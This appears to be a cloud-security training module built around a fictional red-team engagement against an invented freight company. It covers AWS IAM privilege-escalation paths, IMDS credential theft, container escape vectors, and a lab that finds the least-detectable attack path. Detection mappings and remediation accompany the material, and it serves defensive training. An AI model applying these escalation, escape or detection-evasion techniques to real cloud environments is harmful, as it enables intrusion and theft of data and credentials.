can_reach(graph, start, target)— BFS to determine reachabilityattack_path(graph, start, target)— Dijkstra to find lowest-detection-cost pathprivilege_escalation_edges(graph)— filter edges by PRIVESC_ACTIONSdetection_for_edge(edge)— look up CloudTrail event for an action
Understanding the graph structure:
graph = {
"nodes": ["dev-user", "ec2-role", "admin-role", "s3-data"],
"edges": [
{"principal": "dev-user", "action": "sts:AssumeRole",
"resource": "ec2-role", "condition": None},
{"principal": "ec2-role", "action": "iam:AttachUserPolicy",
"resource": "admin-role", "condition": None},
{"principal": "admin-role", "action": "s3:GetObject",
"resource": "s3-data", "condition": None},
]
}
Each edge represents a permission: principal has action on resource. Traversal means: if you
can become a principal (by reaching it via a prior edge's resource), you can use that principal's
edges.
BFS for can_reach:
- Start:
{start}is the initial reachable set - At each step: for every node in the reachable set, follow all edges where
principal == node, addresourceto reachable - Return True if
targetin reachable when no new nodes are being added
Dijkstra for attack_path:
- State: current node
- Cost: cumulative sum of
VISIBILITY_COSTS[action](lower = less detectable) - On reaching target: reconstruct path from predecessor map
- Return list of edge dicts with
detectionkey added (fromdetection_for_edge)
Step 3 — privilege_escalation_edges: Filter the edges list to only those where
edge["action"] in PRIVESC_ACTIONS.
Step 4 — detection_for_edge: Format string as
"CloudTrail: <event> | principal=<p> resource=<r>".
Lab 02: IMDS & Container Escape Analyzer
Goal: Given synthetic configuration facts, implement:
imds_findings(facts)— detect IMDSv1 and weak hop-limitcontainer_escape_findings(facts)— detect escape-enabling misconfigurationsanalyze(facts)— combine findings and determine overall risk leveldetection_for_finding(finding)— look up Falco rule or CloudTrail event
imds_findings logic:
- If
facts["imds_version"] == "v1"→ add finding with idimds_v1_accessible, severityHIGH - If
facts["imds_version"] == "v2"andfacts.get("imds_hop_limit", 1) > 1→ add finding with idimds_v2_no_hop_limit, severityMEDIUM
container_escape_findings logic:
"--privileged" in facts["container_flags"]→ CRITICAL findingprivileged_container"--pid=host" in facts["container_flags"]or"host_pid" in facts["container_flags"]→ HIGH findinghost_pid_namespace- Any volume string containing
"/var/run/docker.sock"→ CRITICAL findingdocker_socket_mounted "cap_sys_admin" in facts["capabilities"]→ HIGH findingcap_sys_admin- Any volume string containing
"/etc"and not ending in":ro"→ HIGH findingwritable_etc_mount
analyze logic: Combine both finding lists, sort by severity order
(CRITICAL=0, HIGH=1, MEDIUM=2, LOW=3), determine risk_level from highest severity present.
Success Criteria
You are ready to move to Phase 10 when you can:
- Draw the AWS IAM policy evaluation flowchart from memory, labeling each layer and the deny-always-wins rule.
- Name five IAM privilege-escalation paths and the specific CloudTrail event each emits, without looking at notes.
- Explain the IMDSv2 hop-limit mechanism and why it prevents SSRF-to-IMDS chains from containers, in two or three sentences.
- List the three Linux primitives that provide container isolation and explain what each one prevents (and what it does not prevent).
- Write a Falco rule condition for detecting a privileged container launch.
- Given any AWS CloudTrail event JSON, identify the principal, action, source IP, and target resource.
-
Both lab test suites pass with
LAB_MODULE=solution pytest -q.
Common Mistakes
Mistake 1: Confusing IAM roles and IAM users
Users have long-term credentials (AccessKeyId + SecretAccessKey). Roles have no credentials of
their own — they are assumed via sts:AssumeRole to get short-term temporary credentials.
Roles are the mechanism for granting permissions to services, Lambda functions, EC2 instances,
and cross-account access.
Mistake 2: Thinking permission boundaries block everything Permission boundaries limit the maximum permissions an identity can have, but they must be set. They also do not prevent the creation of new identities (roles, users) that do not inherit the boundary.
Mistake 3: Assuming --no-new-privileges is equivalent to dropping capabilities
--no-new-privileges (or the no_new_privs seccomp flag) prevents setuid/setgid binaries
and Linux Security Module (AppArmor/SELinux) profile transitions from granting additional
privileges. It does not drop capabilities — a container with CAP_SYS_ADMIN and
--no-new-privileges still has CAP_SYS_ADMIN.
Mistake 4: Treating CloudTrail as real-time CloudTrail events are delivered to S3 within approximately 15 minutes of the API call. CloudWatch Logs integration is faster (~5 minutes) but still not instant. A detection pipeline built on raw CloudTrail S3 logs may have significant latency. GuardDuty and Security Hub process events faster but are not real-time either.
Mistake 5: Overlooking read-only API calls in investigations
ListBuckets, DescribeInstances, GetCallerIdentity are all readOnly: true in CloudTrail.
Many SIEM rules filter to readOnly: false for noise reduction, which means reconnaissance
activity goes undetected. A complete detection strategy monitors both.
Mistake 6: Dijkstra edge case — unreachable nodes
In the lab's attack_path implementation: when there is no path from start to target, the
function must return an empty list [], not raise an exception. The Dijkstra loop exits when
the priority queue is exhausted without reaching the target — handle this by returning []
after the loop.
Interview Q&A
Q1: What is the difference between IMDSv1 and IMDSv2 and why does it matter for security?
A: IMDSv1 is a simple unauthenticated HTTP GET to http://169.254.169.254/latest/meta-data/.
Any process — or any SSRF vulnerability — that can issue an HTTP request to that address can
retrieve the IAM role credentials attached to the instance. This was the vector in the Capital
One breach: an SSRF vulnerability caused the server to fetch its own IMDS credentials.
IMDSv2 requires a two-step process: a PUT request (with a custom X-aws-ec2-metadata-token-ttl-seconds
header) to obtain a session token, then a GET request with that token in the
X-aws-ec2-metadata-token header. The critical protection is the IP TTL (hop limit) set
to 1 on the PUT request. This means the PUT cannot be forwarded by an application — it is dropped
by the first routing layer. An SSRF that causes the server to forward an HTTP request cannot
get a token and therefore cannot get the credentials. The protection is network-layer enforcement,
not software-layer validation.
Security maturity: IMDSv2 should be enforced at the organization level via an SCP condition
("Condition": {"StringEquals": {"ec2:MetadataHttpTokens": "required"}}) so that no instance
can be launched with IMDSv1 enabled.
Q2: Explain the AWS IAM policy evaluation order.
A: AWS evaluates policies in a strictly ordered pipeline. First, Service Control Policies
(SCPs) from AWS Organizations set the ceiling — any action not allowed by the SCP is denied
regardless of identity policies. Next, resource-based policies are evaluated; an explicit Deny
here ends evaluation immediately, while an Allow in the same-account case can be sufficient
without a matching identity policy. Then identity-based policies attached to the requesting
principal (inline + managed) are checked. If a permission boundary is set on the principal,
the action must be allowed by both the identity policy and the boundary — the boundary cannot
grant permissions, only restrict them. Finally, if the request uses temporary credentials from
sts:AssumeRole, the session policy passed at assume-role time is also intersected.
The single most important rule: an explicit Deny in any policy at any layer terminates evaluation with a denial, overriding all Allows. An implicit Deny (no matching Allow anywhere) also results in denial. Only an explicit Allow that survives all layers results in access.
Q3: What permissions does an attacker need to escalate privileges in AWS IAM?
A: Several single permissions (or small combinations) are sufficient:
iam:CreatePolicyVersionalone: create a new version of an existing managed policy withAction: "*", Resource: "*"and set it as default. Every principal with that policy now has admin.iam:AttachUserPolicyalone: attachAdministratorAccessto themselves or any target user.iam:PassRole+lambda:CreateFunction+lambda:InvokeFunction: create a Lambda with a privileged execution role, invoke it to perform IAM writes.iam:CreateRole+iam:AttachRolePolicy: create a new role with no permission boundary, attach admin policy to it, then assume it.iam:CreateLoginProfile: create console credentials for a user with existing admin policy.
The common thread is that any permission that allows modifying policy attachments or creating new policy versions is effectively a privilege escalation if the target policy or role has admin-level permissions — or if the attacker can choose which policy to create.
Q4: How does --privileged in Docker enable container escape?
A: --privileged grants the container all Linux capabilities (including CAP_SYS_ADMIN),
removes the seccomp filter, and disables AppArmor/SELinux confinement. It also makes all host
devices (block devices, character devices in /dev/) accessible inside the container.
With all host devices accessible and CAP_SYS_ADMIN enabling the mount() system call, the
container can mount the host's root filesystem (e.g., /dev/xvda1) at a path inside the
container and then read or write any file on the host. This is not a vulnerability in Docker —
it is the documented behavior of --privileged. The "escape" is simply mounting the host disk
or modifying a host file (cron job, sudoers, SSH keys) to gain persistence or execute code as
root on the host outside the container context.
Q5: What is a managed identity and how can it be abused?
A: A managed identity is an Azure Active Directory service principal with credentials automatically managed by Azure — the administrator never sees or handles the client secret. They come in two flavors: system-assigned (tied to a specific resource's lifecycle) and user-assigned (independent resource, attachable to multiple VMs or services).
Abuse path: any code running on a VM with a system-assigned managed identity (or with a
user-assigned managed identity attached) can call the Azure IMDS endpoint at
http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/
to obtain an OAuth2 access token for that identity. This token can be used to call Azure
Resource Manager APIs. If the managed identity has Contributor or Owner RBAC assignments,
the attacker can create new resources, exfiltrate data, read Key Vault secrets, or assign roles
to themselves to gain persistent access.
Detection: Azure Activity Log records token issuance and Resource Manager API calls. Unusual source IPs for managed identity API calls (credentials used from outside the VM's IP) are the key indicator.
Q6: How would you detect IMDS abuse in a cloud environment?
A: Detection requires correlation across multiple data sources:
First, CloudTrail — credentials obtained from IMDS produce AssumedRole-type userIdentity
entries. If those credentials are used from an IP address that is not the EC2 instance's IP
(visible in sourceIPAddress), the credentials have been exfiltrated. GetCallerIdentity
is typically the first call made by an attacker to verify credentials — correlate GetCallerIdentity
events from unexpected source IPs with instance profile role ARNs.
Second, VPC flow logs — flows to 169.254.169.254:80 from container subnet CIDR ranges
(not the host IP) indicate container-to-IMDS access, which is anomalous unless the container
has a legitimate reason.
Third, process-level telemetry (Falco, eBPF-based agents) — detect network connections
from container PIDs to 169.254.169.254. The Falco condition fd.sip = 169.254.169.254 and container.id != "" fires on any containerized process connecting to IMDS.
Fourth, GuardDuty — UnauthorizedAccess:EC2/MetaDataDNSRebind catches DNS-based IMDS
bypass attempts.
Q7: What is the difference between an IAM role and an IAM user?
A: An IAM user is a persistent identity with long-term credentials: an Access Key ID and Secret Access Key that are valid indefinitely (until rotated or deleted). IAM users are intended for human access or legacy automation that cannot use roles.
An IAM role is an identity without its own credentials. It is assumed via sts:AssumeRole,
which returns temporary credentials (AccessKeyId starting with ASIA, SecretAccessKey, and a
Session Token) that expire after a configured duration (15 minutes to 12 hours). Roles are the
intended mechanism for granting permissions to:
- AWS services (EC2 instance profiles, Lambda execution roles)
- Applications running on EC2/EKS/ECS
- Cross-account access
- Federation (SAML, OIDC)
Security implications: long-term user credentials that are compromised remain valid until
explicitly revoked. Temporary role credentials expire automatically. GuardDuty and CloudTrail
can detect AssumeRole by anomalous principals, making role assumption more auditable than
static key usage.
Q8: How does Falco detect container escape attempts?
A: Falco is a runtime security tool for Linux that uses eBPF (or kernel module) to capture
system calls and kernel events. It evaluates these events against a set of rules written in
YAML with a condition language that can reference fields like container.id, container.privileged,
fd.name, proc.cmdline, and evt.type.
For container escape detection, Falco uses several mechanisms:
Container launch events (evt.type = container): Falco captures the container metadata at
launch time, including whether container.privileged = true, what capabilities are set, and
what volumes are mounted. Rules fire immediately at container start.
System call monitoring: For escape techniques that happen at runtime (e.g., a process in the
container calling mount()), Falco rules can match on evt.type = mount and container.id != ""
to detect mount operations from inside containers. Similarly, openat events for
/var/run/docker.sock from a container context indicate Docker socket abuse.
Process spawning: proc.name = nsenter and container.id != "" detects namespace entry attempts
from inside a container. proc.cmdline contains chroot and container.id != "" catches chroot
escape attempts.
The key limitation: Falco detects behaviors, not intentions. A legitimate monitoring tool that mounts the Docker socket will also fire these rules. Effective deployment requires tuning (allowlisting known-good containers) and alert correlation with IAM and CloudTrail data.
References
- AWS IAM Policy Evaluation Logic: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html
- Rhino Security Labs IAM Privilege Escalation Research: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- AWS IMDS Documentation (IMDSv2): https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
- Falco Rules Documentation: https://falco.org/docs/rules/
- Falco Default Rules: https://github.com/falcosecurity/rules/blob/main/rules/falco_rules.yaml
- MITRE ATT&CK T1078.004 — Valid Accounts: Cloud Accounts: https://attack.mitre.org/techniques/T1078/004/
- MITRE ATT&CK T1552.005 — Unsecured Credentials: Cloud Instance Metadata API: https://attack.mitre.org/techniques/T1552/005/
- MITRE ATT&CK T1610 — Deploy Container: https://attack.mitre.org/techniques/T1610/
- Azure RBAC Documentation: https://learn.microsoft.com/en-us/azure/role-based-access-control/overview
- Azure Managed Identities: https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview
- AWS GuardDuty Finding Types: https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html
- CloudTrail Event Reference: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html
- Pacu — AWS Exploitation Framework (defensive reference): https://github.com/RhinoSecurityLabs/pacu
- Peirates — Kubernetes Penetration Testing Tool (defensive reference): https://github.com/inguardians/peirates
Hitchhiker's Guide to the Range — Phase 09
Operation Cedar Lattice, Cloud Phase. This guide walks you through Meridian Freight International's cloud footprint exactly as FIN-LATTICE would approach it: starting from the foothold (a compromised CI/CD runner) and mapping every permission edge toward IAM admin. No exploits. No payloads. The value is in reading the graph.
Table of Contents
- Meridian Freight AWS Footprint
- Meridian Freight Azure Footprint
- Cedar Lattice Cloud Phase — Artifact 09-A
- Reading the Permission Graph
- The Lowest-Detection Path
- CloudTrail Forensics — What the SOC Sees
- Container Escape in the EKS Environment
- Detection Coverage Summary
- Engagement Timeline
Meridian Freight AWS Footprint
Meridian Freight International uses a two-account AWS organization:
Account: meridian-prod (114700000000)
- EKS cluster
meridian-freight-eksrunning the Freight Management System (FMS) backend - EC2 ASG
meridian-app-serversrunning the web tier - RDS PostgreSQL
meridian-freight-db(freight manifests, customer data) - S3 buckets:
meridian-freight-manifests(freight data),meridian-artifacts(build outputs) - Secrets Manager:
meridian/db/credentials,meridian/api/keys
Account: meridian-dev (114700000001)
- CI/CD runner fleet (GitHub Actions self-hosted runners on EC2)
- Development EKS cluster
meridian-dev-eks - ECR registries (container images for both accounts pull from here)
IAM roles of interest:
| Role ARN | Trust relationship | Notable permissions |
|---|---|---|
arn:aws:iam::114700000001:role/meridian-cicd-runner | EC2 service | sts:AssumeRole on meridian-deploy-staging |
arn:aws:iam::114700000001:role/meridian-deploy-staging | meridian-cicd-runner | iam:AttachUserPolicy, ecr:*, s3:* on dev account |
arn:aws:iam::114700000000:role/meridian-eks-node | EC2 service | ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, s3:GetObject on artifacts |
arn:aws:iam::114700000000:role/meridian-ops-admin | meridian-deploy-staging (cross-account) | iam:*, ec2:*, s3:*, rds:* on prod account |
The critical cross-account trust: meridian-deploy-staging in the dev account is listed in
the trust policy of meridian-ops-admin in the prod account. This is the intended mechanism
for CI/CD to deploy to production — and it is also the lateral-movement path from dev to prod.
VPC layout:
meridian-vpc-prod(10.0.0.0/16): EKS node groups in private subnets, RDS in isolated subnetsmeridian-vpc-dev(10.1.0.0/16): CI/CD runners in private subnets, NAT gateway for outbound
Meridian Freight Azure Footprint
Meridian Freight also has an Azure subscription used for the European freight tracking system (integrated with EU logistics partners).
Subscription: meridian-prod-eu (sub-id: mf-eu-prod-0001)
Resource groups:
meridian-eu-compute-rg: 3 VMs running the EU Freight Tracking Service (FTS)meridian-eu-storage-rg: Storage accountmeridianfreighteuwith freight data blobsmeridian-eu-net-rg: Virtual network, NSGs, Azure Load Balancer
Managed identities:
- System-assigned managed identity on each EU FTS VM
- RBAC assignments:
Contributoronmeridian-eu-storage-rg,Readeronmeridian-eu-compute-rg
Service principals:
meridian-eu-deploy-sp: Used by the EU CI/CD pipeline. HasContributoron the entiremeridian-prod-eusubscription. Client secret stored in Azure Key Vault.
Key Vault: meridian-eu-kv contains:
eu-db-connection-string: PostgreSQL connection string for the EU freight databaseeu-deploy-sp-secret: The client secret formeridian-eu-deploy-sp
The Key Vault access policy grants Get and List on secrets to the EU FTS VMs' managed
identities. This means any compromise of a VM running the EU FTS can fetch the deployment
service principal's secret — which has Contributor on the entire subscription.
Cedar Lattice Cloud Phase — Artifact 09-A
Foothold: FIN-LATTICE compromised a GitHub Actions self-hosted runner EC2 instance in the
dev account by exploiting a dependency confusion attack in the build pipeline. The runner has
the meridian-cicd-runner instance profile.
The permission graph (synthetic metadata for the labs):
[meridian-cicd-runner]
│
├── sts:AssumeRole → [meridian-deploy-staging] (cost: 1, CloudTrail: AssumeRole in STS)
│
└── s3:ListBucket → [meridian-artifacts] (cost: 1, CloudTrail: ListBucket in S3)
[meridian-deploy-staging]
│
├── iam:AttachUserPolicy → [meridian-ops-admin] (cost: 5, CloudTrail: AttachUserPolicy in IAM)
│
├── sts:AssumeRole → [meridian-ops-admin] (cost: 1, CloudTrail: AssumeRole in STS)
│
└── ecr:GetDownloadUrlForLayer → [meridian-ecr] (cost: 1, CloudTrail: GetDownloadUrlForLayer)
[meridian-ops-admin]
│
├── iam:CreatePolicyVersion → [meridian-ops-policy] (cost: 5, CloudTrail: CreatePolicyVersion)
│
├── s3:GetObject → [meridian-freight-manifests] (cost: 1, CloudTrail: GetObject in S3)
│
└── secretsmanager:GetSecretValue → [meridian/db/credentials] (cost: 2, CloudTrail: GetSecretValue)
[meridian-eks-node]
│
└── iam:CreatePolicyVersion → [meridian-ops-policy] (cost: 5, CloudTrail: CreatePolicyVersion)
Two paths from meridian-cicd-runner to meridian-freight-manifests:
Path A (via AssumeRole chain — total cost 3):
meridian-cicd-runner
--[sts:AssumeRole, cost=1]--> meridian-deploy-staging
--[sts:AssumeRole, cost=1]--> meridian-ops-admin
--[s3:GetObject, cost=1]--> meridian-freight-manifests
Path B (via AttachUserPolicy — total cost 7):
meridian-cicd-runner
--[sts:AssumeRole, cost=1]--> meridian-deploy-staging
--[iam:AttachUserPolicy, cost=5]--> meridian-ops-admin
--[s3:GetObject, cost=1]--> meridian-freight-manifests
Path A is preferred because sts:AssumeRole blends in with normal CI/CD traffic (cost=1)
while iam:AttachUserPolicy is a high-signal IAM write (cost=5) that triggers GuardDuty.
Reading the Permission Graph
The permission graph has two types of nodes:
- Principal nodes: entities that can make API calls (
meridian-cicd-runner,meridian-deploy-staging,meridian-ops-admin) - Resource nodes: things that can be acted on (
meridian-freight-manifests,meridian/db/credentials)
Edges are directed: a principal can perform an action on a resource. When the resource is
another IAM principal (a role), the action is typically sts:AssumeRole — and the result of
traversing that edge is that you become the target role (can use its edges).
Reading rule: Start at the foothold node. Follow edges where you are the principal.
When you reach a node that is itself a principal (a role ARN), you can now follow that node's
outgoing edges too. Repeat until you reach the target resource or run out of edges.
This is exactly what the lab's can_reach function implements with BFS, and what attack_path
optimizes with Dijkstra using edge visibility costs.
Privilege escalation edges are edges where the action belongs to the PRIVESC_ACTIONS set:
iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PassRole, etc. In the graph above,
meridian-deploy-staging → iam:AttachUserPolicy → meridian-ops-admin is a privilege escalation
edge because iam:AttachUserPolicy can be used to grant admin permissions.
The Lowest-Detection Path
Given the permission graph above, the Dijkstra solver finds Path A:
| Step | Principal | Action | Resource | CloudTrail Event | Visibility Cost |
|---|---|---|---|---|---|
| 1 | meridian-cicd-runner | sts:AssumeRole | meridian-deploy-staging | AssumeRole (STS) | 1 |
| 2 | meridian-deploy-staging | sts:AssumeRole | meridian-ops-admin | AssumeRole (STS) | 1 |
| 3 | meridian-ops-admin | s3:GetObject | meridian-freight-manifests | GetObject (S3) | 1 |
Total visibility cost: 3 (three AssumeRole + GetObject events — all extremely common
in production AWS environments, low signal-to-noise ratio in SIEM).
Compare to Path B (cost 7): the AttachUserPolicy event (cost=5) would immediately trigger
a GuardDuty PrivilegeEscalation:IAMUser/AdministrativePermissions finding and a SIEM alert.
Any competent SOC with CloudTrail monitoring would catch it in minutes.
Report language (what you write in the engagement report):
"Starting from the compromised CI/CD runner instance (
meridian-cicd-runner), FIN-LATTICE can reach production freight data in themeridian-freight-manifestsS3 bucket via a three-step AssumeRole chain totaling three CloudTrail events. All three events arereadOnly: falsebut produce audit records indistinguishable from normal CI/CD pipeline activity without baselining the specific role assumption chain. Detection requires SIEM rules that alert on cross-accountAssumeRolewhere the source role is not in the approved automation ARN list, or GuardDuty enabled on the production account with anomaly detection trained on baseline CI/CD patterns."
CloudTrail Forensics — What the SOC Sees
The three CloudTrail events from Path A:
Event 1: AssumeRole (dev account)
{
"eventName": "AssumeRole",
"eventSource": "sts.amazonaws.com",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::114700000001:assumed-role/meridian-cicd-runner/i-0abc123"
},
"requestParameters": {
"roleArn": "arn:aws:iam::114700000001:role/meridian-deploy-staging",
"roleSessionName": "meridian-deploy-session"
},
"sourceIPAddress": "10.1.2.34",
"readOnly": false
}
Event 2: AssumeRole (cross-account to prod)
{
"eventName": "AssumeRole",
"eventSource": "sts.amazonaws.com",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::114700000001:assumed-role/meridian-deploy-staging/meridian-deploy-session"
},
"requestParameters": {
"roleArn": "arn:aws:iam::114700000000:role/meridian-ops-admin",
"roleSessionName": "meridian-ops-session"
},
"sourceIPAddress": "10.1.2.34",
"readOnly": false
}
Note: This event appears in the prod account's CloudTrail, not the dev account. Many
organizations have separate SIEM ingestion for each account and may not correlate cross-account
AssumeRole events unless their SIEM is configured to do so.
Event 3: GetObject (prod account)
{
"eventName": "GetObject",
"eventSource": "s3.amazonaws.com",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::114700000000:assumed-role/meridian-ops-admin/meridian-ops-session"
},
"requestParameters": {
"bucketName": "meridian-freight-manifests",
"key": "2024/Q4/manifest-batch-4421.json"
},
"sourceIPAddress": "10.1.2.34",
"readOnly": false
}
What makes this detectable:
- The source IP
10.1.2.34is in the dev VPC range, not a prod VPC range. A SIEM rule that alerts onGetObjectonmeridian-freight-manifestsfrom IP addresses outside the prod VPC CIDR would catch Event 3. - The cross-account AssumeRole in Event 2 (a dev-account role assuming a prod-account role
from a non-standard session name) would alert on a SIEM rule baselining
AssumeRolesource ARN →roleArnpairs.
Container Escape in the EKS Environment
The EKS cluster meridian-freight-eks runs workloads in the freight-backend namespace.
The freight manifest API pod was found to have the following misconfiguration in its
PodSpec (discovered during the engagement's cloud misconfiguration review):
securityContext:
privileged: true # CRITICAL: enables container escape
capabilities:
add: ["SYS_ADMIN"] # redundant with privileged, but present
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock # CRITICAL: Docker socket mounted
- name: host-etc
hostPath:
path: /etc # HIGH: /etc bind-mounted
type: Directory
This configuration enables three separate escape vectors:
Vector 1 (Critical): --privileged + all capabilities + host devices → mount host disk,
read/write any host file.
Vector 2 (Critical): Docker socket mounted → create a new privileged container from inside the compromised pod, bypassing all pod-level security policies.
Vector 3 (High): Writable /etc mount → write a cron job to /etc/cron.d/ that runs on
the host as root at the next cron cycle.
Detection coverage:
- Falco running on EKS nodes catches all three at container launch (privileged, docker socket, writable etc mount rules)
- Kubernetes Audit Log records the pod creation with the misconfigured
securityContext - OPA/Gatekeeper policy
require-non-rootandblock-privileged-containerswould prevent the pod from being scheduled at all (if enforced — Meridian Freight has these policies inwarnmode, notdenymode)
Report finding:
"The
freight-manifest-apideployment in thefreight-backendnamespace runs withprivileged: trueand mounts/var/run/docker.sockfrom the host. Either misconfiguration independently enables complete host compromise from a container breakout. The EKS node's instance profile (meridian-eks-node) hasiam:CreatePolicyVersionon the sharedmeridian-ops-policy, making container-to-IAM-admin a single step from the EKS node. Immediate remediation: enforce OPA/Gatekeeper admission policies indenymode, removeprivileged: truefrom all pod specs, and remove the Docker socket hostPath volume from all non-system pods."
Detection Coverage Summary
| Technique | MITRE ID | Detection Source | Signal Strength |
|---|---|---|---|
| IMDS credential theft (IMDSv1) | T1552.005 | VPC flow logs to 169.254.169.254, CloudTrail GetCallerIdentity from unexpected IP | High |
| AssumeRole chain | T1078.004 | CloudTrail AssumeRole; SIEM correlation on cross-account chains | Medium |
| IAM AttachUserPolicy | T1098.001 | CloudTrail AttachUserPolicy; GuardDuty PrivilegeEscalation finding | High |
| IAM CreatePolicyVersion | T1098.001 | CloudTrail CreatePolicyVersion; CloudTrail Insights on write-rate spike | High |
| Lambda-based privesc | T1648 | CloudTrail CreateFunction + InvokeFunction correlation | Medium |
| Privileged container | T1610 | Falco: container.privileged=true; Kubernetes Audit Log | High |
| Docker socket mount | T1610 | Falco: fd.name=/var/run/docker.sock; Kubernetes Audit Log | High |
| IMDS from container | T1552.005 | Falco: fd.sip=169.254.169.254 and container.id != "" | Medium |
| Managed identity token theft | T1552.005 | Azure Activity Log: token issuance from unexpected IP | Medium |
| Role assignment escalation | T1098 | Azure Activity Log: Microsoft.Authorization/roleAssignments/write | High |
Engagement Timeline
| Day | Activity | Finding |
|---|---|---|
| 1 | Foothold: CI/CD runner compromise via dependency confusion | meridian-cicd-runner role credentials |
| 1 | IMDS credential theft (IMDSv1 enabled on runner nodes) | AccessKeyId + SecretAccessKey for meridian-cicd-runner |
| 2 | Permission graph enumeration via sts:GetCallerIdentity, iam:SimulatePrincipalPolicy | Mapped all role assumptions, identified cross-account path |
| 2 | Path A: meridian-cicd-runner → meridian-deploy-staging → meridian-ops-admin | Access to meridian-freight-manifests S3 bucket |
| 3 | EKS pod inspection: discovered freight-manifest-api misconfiguration | Privileged pod + Docker socket mount + writable /etc |
| 3 | Container escape analysis: three escape vectors from single pod | EKS node access → meridian-eks-node role → iam:CreatePolicyVersion |
| 4 | Azure footprint: EU FTS VM managed identity → Key Vault | eu-deploy-sp-secret — service principal credentials for entire EU subscription |
| 4 | Azure RBAC: meridian-eu-deploy-sp → Contributor on subscription | Simulated scope of compromise: all EU resources |
| 5 | Reporting: CloudTrail forensics, detection gap mapping, remediation roadmap | Artifact 09-A delivered to Meridian Freight CISO |
« Phase 09 README | WARMUP Guide
Lab 01 — Cloud IAM Attack Path Solver
Operation Cedar Lattice, Phase 09. FIN-LATTICE has a foothold on the Meridian Freight
CI/CD runner. The runner has the meridian-cicd-runner IAM role. Your job is to implement
a graph-solver that finds the lowest-detection-cost path through the IAM permission graph
from the compromised principal to the target resource — and maps every edge to its CloudTrail
event.
Safety boundary. This lab operates entirely on synthetic Python dictionaries representing IAM permission graphs. No real cloud credentials. No real API calls. No deployable exploit. The output is an attack path report and CloudTrail detection mapping.
Objective
Implement four functions in lab.py:
| Function | Description |
|---|---|
can_reach(graph, start, target) | BFS: is there any permission path from start to target? |
attack_path(graph, start, target) | Dijkstra: find lowest-detection-cost path |
privilege_escalation_edges(graph) | Filter edges whose action is a known privesc primitive |
detection_for_edge(edge) | Return CloudTrail event description for an edge |
Graph Format
graph = {
"nodes": ["dev-user", "ec2-role", "admin-role", "s3-data"],
"edges": [
{"principal": "dev-user", "action": "sts:AssumeRole",
"resource": "ec2-role", "condition": None},
{"principal": "ec2-role", "action": "iam:AttachUserPolicy",
"resource": "admin-role", "condition": None},
{"principal": "admin-role", "action": "s3:GetObject",
"resource": "s3-data", "condition": None},
]
}
An edge {principal: A, action: X, resource: B} means: principal A has permission X on resource B.
When resource B is itself a principal (e.g., an IAM role), reaching B means you can use B's edges.
This is the IAM sts:AssumeRole mechanic: assuming a role gives you that role's permissions.
Visibility Costs
Each action has a detection cost (lower = less visible in SIEM):
| Action | Cost | Reason |
|---|---|---|
sts:AssumeRole, s3:GetObject, s3:ListBucket, ec2:DescribeInstances | 1 | Extremely common; low signal |
lambda:InvokeFunction | 2 | Common in automated workloads |
lambda:CreateFunction, iam:PassRole | 3 | Less common, moderate signal |
iam:CreateLoginProfile | 4 | High signal — creating console access |
iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:AttachRolePolicy, etc. | 5 | Very high signal IAM writes |
attack_path minimizes total cost across the path.
Running the Lab
pip install -r requirements.txt
# Run your implementation (should raise NotImplementedError until you implement):
pytest -q
# Run reference solution:
LAB_MODULE=solution pytest -q
Deliverable
When all 12 tests pass with LAB_MODULE=solution pytest -q, you understand how to:
- Model IAM as a directed graph and perform BFS reachability analysis
- Apply Dijkstra to find the stealthiest path (fewest SIEM-detectable events)
- Identify privilege escalation primitives in a permission graph
- Map each attack step to its specific CloudTrail event
« Phase 09 README | Lab 02: IMDS & Container Escape »
Lab 02 — IMDS & Container Escape Analyzer
Operation Cedar Lattice, Phase 09. The EKS node in Meridian Freight's production cluster has a misconfigured pod. Your job is to implement an analyzer that inspects synthetic configuration facts — IMDS settings and container runtime flags — and produces a prioritized findings list with the Falco rule or CloudTrail event that detects each issue.
Safety boundary. This lab operates entirely on Python dictionaries representing configuration metadata. No real containers are launched. No real IMDS calls are made. No exploit code. Analysis only.
Objective
Implement four functions in lab.py:
| Function | Description |
|---|---|
imds_findings(facts) | Detect IMDSv1 and weak hop-limit configurations |
container_escape_findings(facts) | Detect escape-enabling container misconfigurations |
analyze(facts) | Combine findings, sort by severity, determine overall risk level |
detection_for_finding(finding) | Return Falco rule or CloudTrail event for a finding |
Facts Format
facts = {
"imds_version": "v1", # "v1" or "v2"
"imds_hop_limit": 1, # integer, default 1 (only relevant for v2)
"container_flags": ["--privileged", "--pid=host"],
"capabilities": ["cap_sys_admin", "cap_net_admin"],
"volumes": ["/var/run/docker.sock:/var/run/docker.sock", "/data:/data:ro"],
"host_network": True,
}
Finding Format
Each finding is a dict:
{
"id": "privileged_container", # string identifier
"severity": "CRITICAL", # CRITICAL | HIGH | MEDIUM | LOW
"title": "Privileged container detected",
"description": "Container launched with --privileged flag ..."
}
Severity Ordering
For sorting and risk level determination:
| Severity | Order |
|---|---|
| CRITICAL | 0 (highest) |
| HIGH | 1 |
| MEDIUM | 2 |
| LOW | 3 |
analyze sets risk_level to the highest severity present across all findings.
Running the Lab
pip install -r requirements.txt
# Run your implementation (should raise NotImplementedError):
pytest -q
# Run reference solution:
LAB_MODULE=solution pytest -q
Deliverable
When all 11 tests pass with LAB_MODULE=solution pytest -q, you can:
- Identify IMDS misconfigurations and their severity from configuration facts
- Identify container escape vectors from runtime flags, capabilities, and volume mounts
- Aggregate and prioritize findings by severity
- Map each finding to its Falco rule or CloudTrail event for the detection report
« Lab 01: Cloud IAM Attack Path | Phase 09 README »
Phase 10 — Social Engineering & Initial Access
